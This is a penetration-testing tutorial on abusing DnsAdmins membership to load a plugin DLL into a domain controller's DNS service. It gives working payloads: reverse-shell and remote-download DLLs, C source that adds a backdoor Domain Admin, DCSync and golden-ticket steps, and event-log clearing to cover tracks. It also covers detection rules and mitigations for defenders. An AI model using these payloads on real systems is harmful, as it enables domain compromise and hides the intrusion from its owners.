
DnsAdmins group exploitation: from DNS to Domain Admin
How a DnsAdmins member loads a plugin DLL into the DNS service on a domain controller and gets SYSTEM, with cleanup, detection and mitigation.
Introduction
Members of the built-in DnsAdmins group manage the DNS servers in a domain. That includes telling the DNS service to load a plugin DLL from a path they choose. On a domain controller the DNS service runs as NT AUTHORITY\SYSTEM, so a DnsAdmins member who can also get the service restarted runs code as SYSTEM on the DC.
The group does not look privileged, and it is rarely monitored the way Domain Admins and Enterprise Admins are. It gets handed to help desk staff, junior administrators and service accounts. Compromising one of those accounts is enough.
No vulnerability is involved. The DNS service has a plugin interface for custom DLLs, Microsoft treats it as a feature, and every step uses a normal DNS administration call.
Authorized testing only, and mind the outage
Run this only with written authorization that covers the domain controllers. The DNS service has to restart to load the DLL, and a DLL without the plugin exports stops the service from starting at all. A DC without DNS breaks logons and replication, so agree a window with the client and have the cleanup commands ready before you start.
Technical background
The DnsAdmins group
DnsAdmins is a built-in security group created when the first Active Directory-integrated DNS server is installed in the domain. Members have administrative access to the DNS servers. They can:
- Configure DNS server settings
- Create and manage DNS zones
- Configure DNS forwarders and root hints
- Set the server-level plugin DLL (
ServerLevelPluginDll) - Start and stop the DNS service, if the service ACL grants it
Group properties:
Distinguished Name: CN=DnsAdmins,CN=Users,DC=domain,DC=local
Group Scope: Domain Local
Group Type: Security
Default Members: None
Created: When first DNS server role is installedThe ServerLevelPluginDll mechanism
The Windows DNS service loads a custom plugin from the path in the ServerLevelPluginDll registry value. The plugin can hook into DNS query resolution. The value lives here:
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDllHow it works:
- An administrator sets a DLL path in the
ServerLevelPluginDllregistry value - The DNS service reads the value when it starts
- The DNS service loads the DLL into its own process
- The DLL code runs as
NT AUTHORITY\SYSTEM - The DNS service calls the DLL's exported functions during query processing
What that means for the attack:
| Aspect | Behaviour | Consequence |
|---|---|---|
| Execution context | NT AUTHORITY\SYSTEM | Code runs with full control of the DC |
| DLL loading | Happens when the DNS service starts | You need a service restart |
| Path validation | None | UNC paths work, so the DLL can sit on your SMB share |
| Function exports | The plugin exports are expected | A DLL without them still runs DllMain, but the service fails to start |
| Verification | No signature check | Any DLL is accepted |
DNS plugin interface
A valid DNS plugin DLL exports three functions:
// Required exports for DNS plugin
DWORD WINAPI DnsPluginInitialize(
PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction,
PLUGIN_FREE_FUNCTION pDnsFreeFunction
);
DWORD WINAPI DnsPluginCleanup();
DWORD WINAPI DnsPluginQuery(
PSTR pszQueryName,
WORD wQueryType,
PSTR pszRecordOwnerName,
PDB_RECORD *ppDnsRecordListHead
);Loading the DLL is enough to run code, because DllMain executes first. The exports matter for the service: implement them and DNS keeps working after your payload has run.
Prerequisites and reconnaissance
Identify DnsAdmins membership
Check whether the current user is a member:
# PowerShell - Check if current user is in DnsAdmins
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$dnsAdminsRole = [Security.Principal.WindowsBuiltInRole]::Administrator
# Get group membership
$groups = $identity.Groups | ForEach-Object {
$_.Translate([Security.Principal.NTAccount])
}
$groups | Where-Object {$_ -like "*DnsAdmins*"}
# Alternative: Using whoami
whoami /groups | findstr DnsAdmins
# CMD - Direct check
net user %USERNAME% /domain | findstr /i "DnsAdmins"List every member of the group:
# PowerShell - Get all members
Get-ADGroupMember -Identity "DnsAdmins" | Select-Object Name, SamAccountName, objectClass
# Using PowerView
Get-DomainGroupMember -Identity "DnsAdmins" | Select-Object MemberName, MemberSID
# Using net command (DnsAdmins is a domain local group, so net localgroup)
net localgroup "DnsAdmins" /domainThe same from Linux:
# Using ldapsearch
ldapsearch -x -h dc01.domain.local -D "user@domain.local" -w password \
-b "CN=DnsAdmins,CN=Users,DC=domain,DC=local" member
# Using rpcclient (DnsAdmins has no fixed RID: list the domain aliases, then query the one that matches)
rpcclient -U "domain/user%password" dc01.domain.local
rpcclient $> enumalsgroups domain
rpcclient $> queryaliasmem domain <rid>
# Using CrackMapExec
crackmapexec ldap dc01.domain.local -u user -p password \
--query '(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)' \
--attribute sAMAccountNameCheck the DNS service configuration
Confirm the service is running and which account it runs as:
# Verify DNS service is running
Get-Service DNS
# Check DNS service configuration
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "DNS"} |
Select-Object Name, State, StartMode, StartName
# Verify service runs as SYSTEM
Get-Process | Where-Object {$_.ProcessName -eq "dns"} |
Select-Object ProcessName, Id, StartTime, @{N='User';E={(Get-WmiObject Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner().User}}Check whether a plugin is already configured. If one is, record the value so you can restore it:
# Check if plugin is already configured
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
# Remote check (requires admin rights)
Invoke-Command -ComputerName dc01 -ScriptBlock {
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
}Check service permissions
Read the security descriptor of the DNS service:
# Get service security descriptor
$service = Get-WmiObject Win32_Service -Filter "Name='DNS'"
$service.GetSecurityDescriptor().Descriptor.DACL
# Check user permissions on DNS service
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$sid = $identity.User.Value
# Using sc.exe to show service security
sc.exe sdshow DNS
# Decode SDDL to readable format
$sddl = (sc.exe sdshow DNS)[1]
ConvertFrom-SddlString -Sddl $sddl -Type ServiceThe rights to look for in the SDDL:
The service security descriptor should show:
- RP (SERVICE_START): Read permissions, Start service
- WP (SERVICE_STOP): Write permissions, Stop service
- DT (SERVICE_PAUSE_CONTINUE): Pause and continue service
- LO (SERVICE_INTERROGATE): Query service status
- RC (READ_CONTROL): Read security descriptorExploitation
Phase 1: build the DLL
Option 1 is a DLL from msfvenom. It is quick, but it has no plugin exports, so the DNS service will not come back up until you remove it.
# Generate DLL to add user to Domain Admins
msfvenom -p windows/x64/exec \
cmd='net group "Domain Admins" backdoor /add /domain' \
-f dll -o adduser.dll
# Generate reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f dll -o dns_plugin.dll
# Generate DLL to execute PowerShell payload
msfvenom -p windows/x64/exec \
cmd='powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/payload.ps1\")"' \
-f dll -o dns_plugin.dllOption 2 is a C DLL that implements the plugin exports, so the service starts normally:
// dns_plugin.c - Proper DNS plugin with malicious payload
#include <windows.h>
#include <stdio.h>
// DNS plugin exports
__declspec(dllexport) DWORD WINAPI DnsPluginInitialize(
PVOID pDnsAllocateFunction,
PVOID pDnsFreeFunction)
{
// Execute payload on initialization
system("net user backdoor Password123! /add /domain");
system("net group \"Domain Admins\" backdoor /add /domain");
return ERROR_SUCCESS;
}
__declspec(dllexport) DWORD WINAPI DnsPluginCleanup()
{
return ERROR_SUCCESS;
}
__declspec(dllexport) DWORD WINAPI DnsPluginQuery(
PCHAR pszQueryName,
WORD wQueryType,
PCHAR pszRecordOwnerName,
PVOID *ppDnsRecordListHead)
{
return ERROR_SUCCESS;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Also execute on DLL load
system("net user backdoor Password123! /add /domain");
system("net group \"Domain Admins\" backdoor /add /domain");
break;
}
return TRUE;
}# Compile on Linux with MinGW
x86_64-w64-mingw32-gcc dns_plugin.c -shared -o dns_plugin.dll
# Compile on Windows
cl /LD dns_plugin.c /link /EXPORT:DnsPluginInitialize /EXPORT:DnsPluginCleanup /EXPORT:DnsPluginQueryOption 3 is mimilib.dll from Mimikatz, which already contains a DNS plugin (kdns.c) that you can extend:
# Download and modify mimilib
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimilib
# Edit kdns.c to add custom payload
# Modify the DnsPluginQuery function:DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
// Add payload here
system("cmd.exe /c net user backdoor Password123! /add /domain && net group \"Domain Admins\" backdoor /add /domain");
}
return ERROR_SUCCESS;
}Phase 2: host and deliver the DLL
An SMB share is the usual choice. The DC computer account has to be able to read it:
# On Kali Linux - Set up SMB share
impacket-smbserver -smb2support share $(pwd)
# With authentication
impacket-smbserver -smb2support -username attacker -password Password123! share $(pwd)
# Verify DLL is accessible from target
# On Windows:
dir \\10.10.14.5\share\dns_plugin.dllA WebDAV server also works:
# Install wsgidav
pip3 install wsgidav
# Start WebDAV server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $(pwd)
# Access from Windows
net use * http://10.10.14.5/dns_plugin.dllOr use a local path, if you can write to the DC:
# Copy DLL to writable location on DC
Copy-Item \\10.10.14.5\share\dns_plugin.dll C:\Windows\Temp\
# Verify permissions
icacls C:\Windows\Temp\dns_plugin.dllPhase 3: set the plugin path
Set the value with dnscmd:
# Configure ServerLevelPluginDll to load malicious DLL
dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
# Expected output:
# Registry property serverlevelplugindll successfully reset.
# Command completed successfully.
# Using local path
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\dns_plugin.dll
# Verify configuration
dnscmd.exe /info /serverlevelplugindll
# View registry directly
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDllFrom a remote machine:
# Configure from remote machine (requires DnsAdmins membership)
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
}Common errors and what they mean:
Error: "DNS Server failed to reset registry property. Status = 5 (0x00000005)"
Solution: User is not member of DnsAdmins group
Error: "Command failed: ERROR_ACCESS_DENIED"
Solution: Verify DnsAdmins membership and group policy refresh
Error: The path is not valid
Solution: Ensure UNC path is accessible from domain controllerPhase 4: restart the DNS service
Check that your account may stop and start the service. DnsAdmins membership alone does not always grant this:
# Verify user has rights to restart DNS service
$user = [Security.Principal.WindowsIdentity]::GetCurrent().Name
$sid = wmic useraccount where name='%USERNAME%' get sid /format:list
# Check service permissions
sc.exe sdshow DNS | findstr $sidRestart the service:
# Stop DNS service
sc.exe stop dns
# Verify service stopped
sc.exe query dns
# Start DNS service (triggers DLL load)
sc.exe start dns
# Alternative: Combined command
sc.exe stop dns && timeout /t 3 && sc.exe start dnsOr restart it remotely:
# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
Restart-Service DNS -Force
}
# Using sc.exe remotely
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
# Using WMI
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
Invoke-WmiMethod -Name StopService
Start-Sleep -Seconds 5
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
Invoke-WmiMethod -Name StartServiceWatch the service come back:
# Watch for service restart
while ($true) {
$status = (Get-Service -ComputerName dc01 -Name DNS).Status
Write-Host "[$(Get-Date -Format 'HH:mm:ss')] DNS Service: $status"
if ($status -eq 'Running') {
Write-Host "[+] DNS service restarted - payload should have executed"
break
}
Start-Sleep -Seconds 2
}Phase 5: verify and follow up
Confirm the payload ran:
# Check if user was added (if using adduser payload)
net group "Domain Admins" /domain | findstr backdoor
# Check for reverse shell connection
# On attacker machine:
nc -lvnp 4444
# Test new credentials
runas /user:domain\backdoor cmd.exe
# Verify with CrackMapExec
crackmapexec smb dc01.domain.local -u backdoor -p Password123! --samIf nothing happened, check the logs and the loaded modules:
# Check DNS service logs
Get-WinEvent -FilterHashtable @{LogName='DNS Server';StartTime=(Get-Date).AddMinutes(-10)} |
Where-Object {$_.LevelDisplayName -eq 'Error'} |
Select-Object TimeCreated, Message
# Check System event log for service failures
Get-WinEvent -FilterHashtable @{LogName='System';ID=7000,7001,7023,7024;StartTime=(Get-Date).AddMinutes(-10)} |
Where-Object {$_.Message -like '*DNS*'}
# Check if DLL was loaded
Get-Process dns | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like '*dns_plugin*'}After code execution
Scenario 1: DCSync after exploitation
With SYSTEM on the DC or a new Domain Admin, grant DCSync rights and dump the domain:
# Add DCSync rights to compromised account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
-PrincipalIdentity backdoor `
-Rights DCSync -Verbose
# Perform DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# From Linux
impacket-secretsdump domain.local/backdoor:Password123!@dc01.domain.local -just-dcScenario 2: Golden Ticket creation
# Extract krbtgt hash via DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /id:500
# From Linux
impacket-lookupsid domain.local/backdoor:Password123!@dc01.domain.local
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator
# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc01.domain.localCleanup and anti-forensics
Remove the plugin
Clear the registry value and restart the service. Until you do, the DLL loads again at every DNS service start:
# Step 1: Verify current configuration
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
# Step 2: Remove registry value
dnscmd.exe dc01 /config /serverlevelplugindll NULL
# Alternative: Direct registry deletion
reg delete \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
# Step 3: Restart DNS service to unload DLL
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
# Step 4: Verify removal
dnscmd.exe dc01 /info /serverlevelplugindll
# Should return: ServerLevelPluginDll = (NULL)Then check that DNS is healthy:
# Test DNS resolution
nslookup dc01.domain.local dc01
# Verify service is running normally
Get-Service -ComputerName dc01 -Name DNS
# Check for errors
Get-WinEvent -ComputerName dc01 -FilterHashtable @{
LogName='DNS Server'
StartTime=(Get-Date).AddMinutes(-10)
Level=1,2,3
} | Select-Object TimeCreated, LevelDisplayName, MessageRemoving forensic evidence
# Clear command history
Clear-History
# Remove PowerShell transcript logs
Remove-Item $env:USERPROFILE\Documents\*transcript*.txt -Force
# Clear event logs (requires admin - use sparingly)
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
# Remove DLL from share
Remove-Item \\10.10.14.5\share\dns_plugin.dll -Force
# Clear DNS debug logs
dnscmd.exe dc01 /config /logfilemaxsize 0
# Remove added user account (if applicable)
net user backdoor /delete /domainCovering tracks
# Check audit logs for evidence
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688,4689 # Process creation/termination
StartTime=(Get-Date).AddHours(-1)
} | Where-Object {
$_.Message -like '*dnscmd*' -or
$_.Message -like '*dns_plugin*'
}
# Clear specific events (admin required)
$events = Get-WinEvent -FilterHashtable @{LogName='Security'} |
Where-Object {$_.Message -like '*dnscmd*'}
foreach ($event in $events) {
# Note: This requires stopping the event log service
# wevtutil.exe clear-log Security
}Detection and monitoring
Event log indicators
| Event ID | Log | Description | Indicator |
|---|---|---|---|
| 770 | DNS Server | Plugin loaded | ServerLevelPluginDll loaded |
| 4688 | Security | Process creation | dnscmd.exe execution |
| 4656 | Security | Handle to object requested | DNS service registry access |
| 4663 | Security | Attempt to access object | DNS Parameters registry modification |
Hunt for them with PowerShell:
# Monitor for dnscmd.exe execution
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
ID=4104 # Script block logging
StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
$_.Message -like '*dnscmd*' -and
$_.Message -like '*serverlevelplugindll*'
}
# Monitor registry modifications
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4657 # Registry value modified
StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
$_.Message -like '*ServerLevelPluginDll*'
}SIEM detection rules
Splunk:
index=windows (EventCode=4688 Image="*dnscmd.exe" CommandLine="*serverlevelplugindll*")
OR (EventCode=4657 ObjectName="*\\DNS\\Parameters*" ObjectValueName="ServerLevelPluginDll")
OR (EventCode=770 source="DNS Server")
| stats count by ComputerName, User, CommandLine, ObjectName
| where count > 0Sentinel (KQL):
SecurityEvent
| where EventID in (4688, 4657, 770)
| where (
(EventID == 4688 and Process contains "dnscmd.exe" and CommandLine contains "serverlevelplugindll")
or (EventID == 4657 and ObjectName contains "DNS\\Parameters" and ObjectValueName == "ServerLevelPluginDll")
or (EventID == 770)
)
| project TimeGenerated, Computer, Account, Process, CommandLine, ObjectName, ObjectValueName
| order by TimeGenerated descElastic:
{
"query": {
"bool": {
"should": [
{
"bool": {
"must": [
{"match": {"event.code": "4688"}},
{"wildcard": {"process.executable": "*dnscmd.exe"}},
{"wildcard": {"process.command_line": "*serverlevelplugindll*"}}
]
}
},
{
"bool": {
"must": [
{"match": {"event.code": "4657"}},
{"wildcard": {"registry.path": "*DNS\\Parameters*"}},
{"match": {"registry.value": "ServerLevelPluginDll"}}
]
}
}
],
"minimum_should_match": 1
}
}
}Monitoring script
This loop runs on the DC and alerts when the plugin value is set or dnscmd.exe is run with the plugin option:
# dns_admin_monitor.ps1
$lastCheck = Get-Date
while ($true) {
# Check ServerLevelPluginDll registry value
$pluginDll = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
-Name ServerLevelPluginDll -ErrorAction SilentlyContinue
if ($pluginDll) {
$alert = @{
Timestamp = Get-Date
Alert = "CRITICAL: ServerLevelPluginDll configured"
Value = $pluginDll.ServerLevelPluginDll
Server = $env:COMPUTERNAME
}
# Send alert
$alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
# Send email alert
Send-MailMessage -To "security@domain.local" `
-From "dns-monitor@domain.local" `
-Subject "CRITICAL: DNS Plugin Configured" `
-Body ($alert | ConvertTo-Json) `
-SmtpServer "mail.domain.local"
}
# Check for dnscmd.exe in recent process creations
$suspiciousProcesses = Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688
StartTime=$lastCheck
} | Where-Object {
$_.Properties[5].Value -like '*dnscmd.exe*' -and
$_.Properties[8].Value -like '*serverlevelplugindll*'
}
if ($suspiciousProcesses) {
$alert = @{
Timestamp = Get-Date
Alert = "SUSPICIOUS: dnscmd.exe executed with ServerLevelPluginDll"
Processes = $suspiciousProcesses | ForEach-Object {
@{
Time = $_.TimeCreated
User = $_.Properties[1].Value
CommandLine = $_.Properties[8].Value
}
}
}
$alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
}
$lastCheck = Get-Date
Start-Sleep -Seconds 60
}Mitigation and defense
Restrict DnsAdmins membership
# Audit current DnsAdmins members
Get-ADGroupMember -Identity "DnsAdmins" |
Select-Object Name, SamAccountName, distinguishedName |
Export-Csv -Path "C:\Audits\DnsAdmins_Members_$(Get-Date -Format 'yyyyMMdd').csv"
# Remove unnecessary members
Remove-ADGroupMember -Identity "DnsAdmins" -Members "unnecessaryuser" -Confirm:$false
# Implement JIT access instead of permanent membership
# Use Privileged Access Management (PAM) solutionsAudit the registry key
# Enable auditing on DNS Parameters registry key
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters"
$acl = Get-Acl $path
# Add audit rule for Everyone modifying ServerLevelPluginDll
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
"Everyone",
[System.Security.AccessControl.RegistryRights]::SetValue,
[System.Security.AccessControl.AuditFlags]::Success
)
$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl
# Verify audit rule
(Get-Acl $path).Audit | Format-Table -AutoSizeDNS service hardening
# Restrict DNS service permissions
# Remove DnsAdmins from having SERVICE_START/SERVICE_STOP rights
$service = "DNS"
$dnsAdminsSID = (Get-ADGroup "DnsAdmins").SID.Value
# Get current SDDL
$sddl = (sc.exe sdshow $service)[1]
# Remove DnsAdmins permissions from SDDL (manual editing required)
# Or use GUI: sc.exe sdset DNS "<modified_sddl>"
# Alternative: disable remote DNS management over RPC
# 0x0 disables RPC for DNS, 0x4 keeps local procedure call (LPC) only. The default is 0xFFFFFFFF (all protocols).
# Remote dnscmd and the DNS console stop working against this server.
dnscmd.exe /config /rpcprotocol 0x4Group Policy restrictions
An AppLocker rule can block dnscmd.exe for non-admins. It only stops the stock binary. The plugin path is set over RPC, and other tools can make the same call, so do not rely on this alone.
<!-- GPO to restrict dnscmd.exe execution -->
<!-- Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker -->
<FilePathRule Id="..." Name="Block dnscmd.exe for non-admins" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
</Conditions>
</FilePathRule>
<!-- Only allow for Domain Admins -->
<FilePathRule Id="..." Name="Allow dnscmd.exe for Domain Admins" Description="" UserOrGroupSid="S-1-5-21-domain-512" Action="Allow">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
</Conditions>
</FilePathRule>Operating practices
- Review DnsAdmins membership monthly and treat the group as Tier 0, the same as Domain Admins
- Give DNS administration through just-in-time access, not permanent membership
- Alert on event IDs 770, 4688 and 4657 as described under detection
- Keep a record of any plugin DLL that is supposed to be there, so an unknown path stands out
Alternative approaches
One option is to run DNS on member servers and keep the DNS role off the domain controllers. A DNS server compromise then gives SYSTEM on a member server and not on a DC, the DC has one less service exposed, and DNS can be administered and monitored separately.
The other is to delegate DNS management more narrowly than DnsAdmins does:
# Instead of DnsAdmins, create custom groups with minimal permissions
New-ADGroup -Name "DNS-ZoneManagers" -GroupScope DomainLocal `
-Description "Can manage DNS zones but not service configuration"Then give the group rights on the zones it manages and nothing else: in DNS Manager, open the zone's Properties, Security tab, and add the group there. dnscmd /ZoneResetSecondaries is not a delegation tool. Its /SecureList argument is the list of IP addresses allowed to receive zone transfers.
Testing and validation
Simulated attack exercise
To test your detections, run the configuration step with a harmless DLL in a lab or an agreed window:
# Controlled test environment script
# Run with documented authorization
Write-Host "[*] DnsAdmins Exploitation Simulation" -ForegroundColor Yellow
Write-Host "[!] Authorized test only - Document all actions" -ForegroundColor Red
# Step 1: Verify test account in DnsAdmins
$testUser = "testdnsadmin"
$membership = Get-ADGroupMember -Identity "DnsAdmins" |
Where-Object {$_.SamAccountName -eq $testUser}
if (-not $membership) {
Write-Host "[-] Test user not in DnsAdmins group" -ForegroundColor Red
exit
}
# Step 2: Create harmless test DLL
# (Use simple DLL that logs to file instead of malicious payload)
$testDll = "C:\Temp\test_dns_plugin.dll"
# Step 3: Configure plugin (in test environment)
Write-Host "[*] Configuring ServerLevelPluginDll..." -ForegroundColor Cyan
dnscmd.exe localhost /config /serverlevelplugindll $testDll
# Step 4: Check detection mechanisms
Write-Host "[*] Checking if SIEM detected the activity..." -ForegroundColor Cyan
Start-Sleep -Seconds 10
# Query SIEM or local event logs
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4657
StartTime=(Get-Date).AddMinutes(-2)
} | Where-Object {$_.Message -like '*ServerLevelPluginDll*'}
# Step 5: Cleanup
Write-Host "[*] Cleaning up test configuration..." -ForegroundColor Cyan
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
Write-Host "[+] Simulation complete - Review logs and alerts" -ForegroundColor GreenReferences
MITRE ATT&CK techniques
- T1098 - Account Manipulation: abusing privileged group membership
- T1543.003 - Create or Modify System Process: Windows Service: DNS service manipulation
- T1078.002 - Valid Accounts: Domain Accounts: DnsAdmins group abuse
Microsoft documentation
- Microsoft: MS-DNSP, the ServerLevelPluginDll property: plugin DLL specification
- Microsoft: DNS Server documentation: DNS server configuration
Security research
- Shay Ber: Feature, not bug: DNSAdmin to DC compromise in one line: the original 2017 research
- ired.team: From DnsAdmins to SYSTEM to domain compromise: lab walkthrough of the technique
- ADSecurity: DnsAdmins group privilege escalation: attack analysis and mitigation
Tools documentation
- Mimikatz (mimilib): contains the
kdns.cDNS plugin - PowerView: DnsAdmins group enumeration
Next steps
ACL abuse in Active Directory
For the write rights that let you add an account to DnsAdmins in the first place.
DCSync
For dumping the domain once you have SYSTEM on the DC.
Kerberoasting
For cracking service accounts, which are often the DnsAdmins members you need.
NTLM relay attacks
Another route to a domain controller when no DnsAdmins account is in reach.
DCSync attack: extracting domain credentials
How DCSync abuses AD replication rights to pull password hashes from a Domain Controller, with the commands, detection and fixes.
Golden Ticket attacks and persistence
Forging Kerberos TGTs with the KRBTGT hash for persistent, privileged domain access, and how to detect and evict it.